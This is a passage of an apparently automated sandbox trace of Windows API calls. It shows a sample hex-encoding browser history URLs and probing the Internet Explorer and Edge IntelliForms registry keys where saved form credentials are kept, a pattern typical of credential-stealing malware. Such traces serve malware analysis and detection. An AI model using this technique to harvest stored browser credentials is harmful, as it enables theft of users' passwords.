lstrcatA (in: lpString1="E32AE2F5", lpString2="19" | out: lpString1="E32AE2F519") returned="E32AE2F519" [0053.583] LocalFree (hMem=0x7633b8) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.583] lstrlenA (lpString="E32AE2F519") returned 10 [0053.583] lstrlenA (lpString="EC") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.583] lstrcpyA (in: lpString1=0x7633b8, lpString2="E32AE2F519" | out: lpString1="E32AE2F519") returned="E32AE2F519" [0053.583] lstrcatA (in: lpString1="E32AE2F519", lpString2="EC" | out: lpString1="E32AE2F519EC") returned="E32AE2F519EC" [0053.583] LocalFree (hMem=0x769e00) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="15") returned 2 [0053.583] lstrlenA (lpString="E32AE2F519EC") returned 12 [0053.583] lstrlenA (lpString="15") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x769e00 [0053.583] lstrcpyA (in: lpString1=0x769e00, lpString2="E32AE2F519EC" | out: lpString1="E32AE2F519EC") returned="E32AE2F519EC" [0053.583] lstrcatA (in: lpString1="E32AE2F519EC", lpString2="15" | out: lpString1="E32AE2F519EC15") returned="E32AE2F519EC15" [0053.583] LocalFree (hMem=0x7633b8) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AA") returned 2 [0053.583] lstrlenA (lpString="E32AE2F519EC15") returned 14 [0053.583] lstrlenA (lpString="AA") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.583] lstrcpyA (in: lpString1=0x763518, lpString2="E32AE2F519EC15" | out: lpString1="E32AE2F519EC15") returned="E32AE2F519EC15" [0053.583] lstrcatA (in: lpString1="E32AE2F519EC15", lpString2="AA" | out: lpString1="E32AE2F519EC15AA") returned="E32AE2F519EC15AA" [0053.583] LocalFree (hMem=0x769e00) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B3") returned 2 [0053.583] lstrlenA (lpString="E32AE2F519EC15AA") returned 16 [0053.583] lstrlenA (lpString="B3") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.583] lstrcpyA (in: lpString1=0x763478, lpString2="E32AE2F519EC15AA" | out: lpString1="E32AE2F519EC15AA") returned="E32AE2F519EC15AA" [0053.583] lstrcatA (in: lpString1="E32AE2F519EC15AA", lpString2="B3" | out: lpString1="E32AE2F519EC15AAB3") returned="E32AE2F519EC15AAB3" [0053.583] LocalFree (hMem=0x763518) returned 0x0 [0053.583] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="51") returned 2 [0053.583] lstrlenA (lpString="E32AE2F519EC15AAB3") returned 18 [0053.583] lstrlenA (lpString="51") returned 2 [0053.583] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.583] lstrcpyA (in: lpString1=0x763518, lpString2="E32AE2F519EC15AAB3" | out: lpString1="E32AE2F519EC15AAB3") returned="E32AE2F519EC15AAB3" [0053.583] lstrcatA (in: lpString1="E32AE2F519EC15AAB3", lpString2="51" | out: lpString1="E32AE2F519EC15AAB351") returned="E32AE2F519EC15AAB351" [0053.584] LocalFree (hMem=0x763478) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351") returned 20 [0053.584] lstrlenA (lpString="FE") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.584] lstrcpyA (in: lpString1=0x763478, lpString2="E32AE2F519EC15AAB351" | out: lpString1="E32AE2F519EC15AAB351") returned="E32AE2F519EC15AAB351" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351", lpString2="FE" | out: lpString1="E32AE2F519EC15AAB351FE") returned="E32AE2F519EC15AAB351FE" [0053.584] LocalFree (hMem=0x763518) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DE") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FE") returned 22 [0053.584] lstrlenA (lpString="DE") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.584] lstrcpyA (in: lpString1=0x758a18, lpString2="E32AE2F519EC15AAB351FE" | out: lpString1="E32AE2F519EC15AAB351FE") returned="E32AE2F519EC15AAB351FE" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FE", lpString2="DE" | out: lpString1="E32AE2F519EC15AAB351FEDE") returned="E32AE2F519EC15AAB351FEDE" [0053.584] LocalFree (hMem=0x763478) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="86") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE") returned 24 [0053.584] lstrlenA (lpString="86") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.584] lstrcpyA (in: lpString1=0x758820, lpString2="E32AE2F519EC15AAB351FEDE" | out: lpString1="E32AE2F519EC15AAB351FEDE") returned="E32AE2F519EC15AAB351FEDE" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE", lpString2="86" | out: lpString1="E32AE2F519EC15AAB351FEDE86") returned="E32AE2F519EC15AAB351FEDE86" [0053.584] LocalFree (hMem=0x758a18) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86") returned 26 [0053.584] lstrlenA (lpString="A2") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.584] lstrcpyA (in: lpString1=0x758a18, lpString2="E32AE2F519EC15AAB351FEDE86" | out: lpString1="E32AE2F519EC15AAB351FEDE86") returned="E32AE2F519EC15AAB351FEDE86" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86", lpString2="A2" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2") returned="E32AE2F519EC15AAB351FEDE86A2" [0053.584] LocalFree (hMem=0x758820) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2") returned 28 [0053.584] lstrlenA (lpString="97") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.584] lstrcpyA (in: lpString1=0x758820, lpString2="E32AE2F519EC15AAB351FEDE86A2" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2") returned="E32AE2F519EC15AAB351FEDE86A2" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2", lpString2="97" | out: lpString1="E32AE2F519EC15AAB351FEDE86A297") returned="E32AE2F519EC15AAB351FEDE86A297" [0053.584] LocalFree (hMem=0x758a18) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6E") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A297") returned 30 [0053.584] lstrlenA (lpString="6E") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.584] lstrcpyA (in: lpString1=0x754b90, lpString2="E32AE2F519EC15AAB351FEDE86A297" | out: lpString1="E32AE2F519EC15AAB351FEDE86A297") returned="E32AE2F519EC15AAB351FEDE86A297" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A297", lpString2="6E" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976E") returned="E32AE2F519EC15AAB351FEDE86A2976E" [0053.584] LocalFree (hMem=0x758820) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C5") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2976E") returned 32 [0053.584] lstrlenA (lpString="C5") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.584] lstrcpyA (in: lpString1=0x754cf0, lpString2="E32AE2F519EC15AAB351FEDE86A2976E" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976E") returned="E32AE2F519EC15AAB351FEDE86A2976E" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2976E", lpString2="C5" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5") returned="E32AE2F519EC15AAB351FEDE86A2976EC5" [0053.584] LocalFree (hMem=0x754b90) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="86") returned 2 [0053.584] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2976EC5") returned 34 [0053.584] lstrlenA (lpString="86") returned 2 [0053.584] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.584] lstrcpyA (in: lpString1=0x754b90, lpString2="E32AE2F519EC15AAB351FEDE86A2976EC5" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5") returned="E32AE2F519EC15AAB351FEDE86A2976EC5" [0053.584] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5", lpString2="86" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC586") returned="E32AE2F519EC15AAB351FEDE86A2976EC586" [0053.584] LocalFree (hMem=0x754cf0) returned 0x0 [0053.584] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="68") returned 2 [0053.585] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2976EC586") returned 36 [0053.585] lstrlenA (lpString="68") returned 2 [0053.585] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.585] lstrcpyA (in: lpString1=0x754cf0, lpString2="E32AE2F519EC15AAB351FEDE86A2976EC586" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC586") returned="E32AE2F519EC15AAB351FEDE86A2976EC586" [0053.585] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC586", lpString2="68" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC58668") returned="E32AE2F519EC15AAB351FEDE86A2976EC58668" [0053.585] LocalFree (hMem=0x754b90) returned 0x0 [0053.585] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.585] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2976EC58668") returned 38 [0053.585] lstrlenA (lpString="67") returned 2 [0053.585] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750c70 [0053.585] lstrcpyA (in: lpString1=0x750c70, lpString2="E32AE2F519EC15AAB351FEDE86A2976EC58668" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC58668") returned="E32AE2F519EC15AAB351FEDE86A2976EC58668" [0053.585] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC58668", lpString2="67" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5866867") returned="E32AE2F519EC15AAB351FEDE86A2976EC5866867" [0053.585] LocalFree (hMem=0x754cf0) returned 0x0 [0053.585] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CF") returned 2 [0053.585] lstrlenA (lpString="E32AE2F519EC15AAB351FEDE86A2976EC5866867") returned 40 [0053.585] lstrlenA (lpString="CF") returned 2 [0053.585] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.585] lstrcpyA (in: lpString1=0x750bb8, lpString2="E32AE2F519EC15AAB351FEDE86A2976EC5866867" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5866867") returned="E32AE2F519EC15AAB351FEDE86A2976EC5866867" [0053.585] lstrcatA (in: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5866867", lpString2="CF" | out: lpString1="E32AE2F519EC15AAB351FEDE86A2976EC5866867CF") returned="E32AE2F519EC15AAB351FEDE86A2976EC5866867CF" [0053.585] LocalFree (hMem=0x750c70) returned 0x0 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.585] LocalFree (hMem=0x750bb8) returned 0x0 [0053.585] CoTaskMemFree (pv=0x767ee8) [0053.585] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.585] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/0c6f.odp", lpSrch="?") returned 0x0 [0053.585] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/0c6f.odp") returned 58 [0053.585] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2A") returned 2 [0053.585] lstrlenA (lpString="") returned 0 [0053.585] lstrlenA (lpString="2A") returned 2 [0053.585] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.585] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.586] lstrcatA (in: lpString1="", lpString2="2A" | out: lpString1="2A") returned="2A" [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="50") returned 2 [0053.586] lstrlenA (lpString="2A") returned 2 [0053.586] lstrlenA (lpString="50") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.586] lstrcpyA (in: lpString1=0x7603f0, lpString2="2A" | out: lpString1="2A") returned="2A" [0053.586] lstrcatA (in: lpString1="2A", lpString2="50" | out: lpString1="2A50") returned="2A50" [0053.586] LocalFree (hMem=0x760360) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="75") returned 2 [0053.586] lstrlenA (lpString="2A50") returned 4 [0053.586] lstrlenA (lpString="75") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.586] lstrcpyA (in: lpString1=0x760360, lpString2="2A50" | out: lpString1="2A50") returned="2A50" [0053.586] lstrcatA (in: lpString1="2A50", lpString2="75" | out: lpString1="2A5075") returned="2A5075" [0053.586] LocalFree (hMem=0x7603f0) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7C") returned 2 [0053.586] lstrlenA (lpString="2A5075") returned 6 [0053.586] lstrlenA (lpString="7C") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.586] lstrcpyA (in: lpString1=0x7633b8, lpString2="2A5075" | out: lpString1="2A5075") returned="2A5075" [0053.586] lstrcatA (in: lpString1="2A5075", lpString2="7C" | out: lpString1="2A50757C") returned="2A50757C" [0053.586] LocalFree (hMem=0x760360) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.586] lstrlenA (lpString="2A50757C") returned 8 [0053.586] lstrlenA (lpString="19") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x769e00 [0053.586] lstrcpyA (in: lpString1=0x769e00, lpString2="2A50757C" | out: lpString1="2A50757C") returned="2A50757C" [0053.586] lstrcatA (in: lpString1="2A50757C", lpString2="19" | out: lpString1="2A50757C19") returned="2A50757C19" [0053.586] LocalFree (hMem=0x7633b8) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E2") returned 2 [0053.586] lstrlenA (lpString="2A50757C19") returned 10 [0053.586] lstrlenA (lpString="E2") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.586] lstrcpyA (in: lpString1=0x7633b8, lpString2="2A50757C19" | out: lpString1="2A50757C19") returned="2A50757C19" [0053.586] lstrcatA (in: lpString1="2A50757C19", lpString2="E2" | out: lpString1="2A50757C19E2") returned="2A50757C19E2" [0053.586] LocalFree (hMem=0x769e00) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.586] lstrlenA (lpString="2A50757C19E2") returned 12 [0053.586] lstrlenA (lpString="7E") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x769e00 [0053.586] lstrcpyA (in: lpString1=0x769e00, lpString2="2A50757C19E2" | out: lpString1="2A50757C19E2") returned="2A50757C19E2" [0053.586] lstrcatA (in: lpString1="2A50757C19E2", lpString2="7E" | out: lpString1="2A50757C19E27E") returned="2A50757C19E27E" [0053.586] LocalFree (hMem=0x7633b8) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F6") returned 2 [0053.586] lstrlenA (lpString="2A50757C19E27E") returned 14 [0053.586] lstrlenA (lpString="F6") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.586] lstrcpyA (in: lpString1=0x763478, lpString2="2A50757C19E27E" | out: lpString1="2A50757C19E27E") returned="2A50757C19E27E" [0053.586] lstrcatA (in: lpString1="2A50757C19E27E", lpString2="F6" | out: lpString1="2A50757C19E27EF6") returned="2A50757C19E27EF6" [0053.586] LocalFree (hMem=0x769e00) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7B") returned 2 [0053.586] lstrlenA (lpString="2A50757C19E27EF6") returned 16 [0053.586] lstrlenA (lpString="7B") returned 2 [0053.586] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.586] lstrcpyA (in: lpString1=0x763518, lpString2="2A50757C19E27EF6" | out: lpString1="2A50757C19E27EF6") returned="2A50757C19E27EF6" [0053.586] lstrcatA (in: lpString1="2A50757C19E27EF6", lpString2="7B" | out: lpString1="2A50757C19E27EF67B") returned="2A50757C19E27EF67B" [0053.586] LocalFree (hMem=0x763478) returned 0x0 [0053.586] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BC") returned 2 [0053.586] lstrlenA (lpString="2A50757C19E27EF67B") returned 18 [0053.587] lstrlenA (lpString="BC") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.587] lstrcpyA (in: lpString1=0x763478, lpString2="2A50757C19E27EF67B" | out: lpString1="2A50757C19E27EF67B") returned="2A50757C19E27EF67B" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67B", lpString2="BC" | out: lpString1="2A50757C19E27EF67BBC") returned="2A50757C19E27EF67BBC" [0053.587] LocalFree (hMem=0x763518) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="04") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC") returned 20 [0053.587] lstrlenA (lpString="04") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.587] lstrcpyA (in: lpString1=0x763518, lpString2="2A50757C19E27EF67BBC" | out: lpString1="2A50757C19E27EF67BBC") returned="2A50757C19E27EF67BBC" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC", lpString2="04" | out: lpString1="2A50757C19E27EF67BBC04") returned="2A50757C19E27EF67BBC04" [0053.587] LocalFree (hMem=0x763478) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC04") returned 22 [0053.587] lstrlenA (lpString="99") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.587] lstrcpyA (in: lpString1=0x758820, lpString2="2A50757C19E27EF67BBC04" | out: lpString1="2A50757C19E27EF67BBC04") returned="2A50757C19E27EF67BBC04" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC04", lpString2="99" | out: lpString1="2A50757C19E27EF67BBC0499") returned="2A50757C19E27EF67BBC0499" [0053.587] LocalFree (hMem=0x763518) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="09") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC0499") returned 24 [0053.587] lstrlenA (lpString="09") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.587] lstrcpyA (in: lpString1=0x758a18, lpString2="2A50757C19E27EF67BBC0499" | out: lpString1="2A50757C19E27EF67BBC0499") returned="2A50757C19E27EF67BBC0499" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499", lpString2="09" | out: lpString1="2A50757C19E27EF67BBC049909") returned="2A50757C19E27EF67BBC049909" [0053.587] LocalFree (hMem=0x758820) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="57") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC049909") returned 26 [0053.587] lstrlenA (lpString="57") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.587] lstrcpyA (in: lpString1=0x758820, lpString2="2A50757C19E27EF67BBC049909" | out: lpString1="2A50757C19E27EF67BBC049909") returned="2A50757C19E27EF67BBC049909" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC049909", lpString2="57" | out: lpString1="2A50757C19E27EF67BBC04990957") returned="2A50757C19E27EF67BBC04990957" [0053.587] LocalFree (hMem=0x758a18) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="59") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC04990957") returned 28 [0053.587] lstrlenA (lpString="59") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.587] lstrcpyA (in: lpString1=0x758a18, lpString2="2A50757C19E27EF67BBC04990957" | out: lpString1="2A50757C19E27EF67BBC04990957") returned="2A50757C19E27EF67BBC04990957" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC04990957", lpString2="59" | out: lpString1="2A50757C19E27EF67BBC0499095759") returned="2A50757C19E27EF67BBC0499095759" [0053.587] LocalFree (hMem=0x758820) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC0499095759") returned 30 [0053.587] lstrlenA (lpString="39") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.587] lstrcpyA (in: lpString1=0x754cf0, lpString2="2A50757C19E27EF67BBC0499095759" | out: lpString1="2A50757C19E27EF67BBC0499095759") returned="2A50757C19E27EF67BBC0499095759" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499095759", lpString2="39" | out: lpString1="2A50757C19E27EF67BBC049909575939") returned="2A50757C19E27EF67BBC049909575939" [0053.587] LocalFree (hMem=0x758a18) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9C") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC049909575939") returned 32 [0053.587] lstrlenA (lpString="9C") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.587] lstrcpyA (in: lpString1=0x754b90, lpString2="2A50757C19E27EF67BBC049909575939" | out: lpString1="2A50757C19E27EF67BBC049909575939") returned="2A50757C19E27EF67BBC049909575939" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC049909575939", lpString2="9C" | out: lpString1="2A50757C19E27EF67BBC0499095759399C") returned="2A50757C19E27EF67BBC0499095759399C" [0053.587] LocalFree (hMem=0x754cf0) returned 0x0 [0053.587] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D3") returned 2 [0053.587] lstrlenA (lpString="2A50757C19E27EF67BBC0499095759399C") returned 34 [0053.587] lstrlenA (lpString="D3") returned 2 [0053.587] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.587] lstrcpyA (in: lpString1=0x754cf0, lpString2="2A50757C19E27EF67BBC0499095759399C" | out: lpString1="2A50757C19E27EF67BBC0499095759399C") returned="2A50757C19E27EF67BBC0499095759399C" [0053.587] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499095759399C", lpString2="D3" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3") returned="2A50757C19E27EF67BBC0499095759399CD3" [0053.588] LocalFree (hMem=0x754b90) returned 0x0 [0053.588] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A7") returned 2 [0053.588] lstrlenA (lpString="2A50757C19E27EF67BBC0499095759399CD3") returned 36 [0053.588] lstrlenA (lpString="A7") returned 2 [0053.588] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.588] lstrcpyA (in: lpString1=0x754b90, lpString2="2A50757C19E27EF67BBC0499095759399CD3" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3") returned="2A50757C19E27EF67BBC0499095759399CD3" [0053.588] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499095759399CD3", lpString2="A7" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3A7") returned="2A50757C19E27EF67BBC0499095759399CD3A7" [0053.588] LocalFree (hMem=0x754cf0) returned 0x0 [0053.588] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="38") returned 2 [0053.588] lstrlenA (lpString="2A50757C19E27EF67BBC0499095759399CD3A7") returned 38 [0053.588] lstrlenA (lpString="38") returned 2 [0053.588] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.588] lstrcpyA (in: lpString1=0x750bb8, lpString2="2A50757C19E27EF67BBC0499095759399CD3A7" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3A7") returned="2A50757C19E27EF67BBC0499095759399CD3A7" [0053.588] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499095759399CD3A7", lpString2="38" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3A738") returned="2A50757C19E27EF67BBC0499095759399CD3A738" [0053.588] LocalFree (hMem=0x754b90) returned 0x0 [0053.588] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.588] lstrlenA (lpString="2A50757C19E27EF67BBC0499095759399CD3A738") returned 40 [0053.588] lstrlenA (lpString="EE") returned 2 [0053.588] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750c70 [0053.588] lstrcpyA (in: lpString1=0x750c70, lpString2="2A50757C19E27EF67BBC0499095759399CD3A738" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3A738") returned="2A50757C19E27EF67BBC0499095759399CD3A738" [0053.588] lstrcatA (in: lpString1="2A50757C19E27EF67BBC0499095759399CD3A738", lpString2="EE" | out: lpString1="2A50757C19E27EF67BBC0499095759399CD3A738EE") returned="2A50757C19E27EF67BBC0499095759399CD3A738EE" [0053.588] LocalFree (hMem=0x750bb8) returned 0x0 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.588] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet 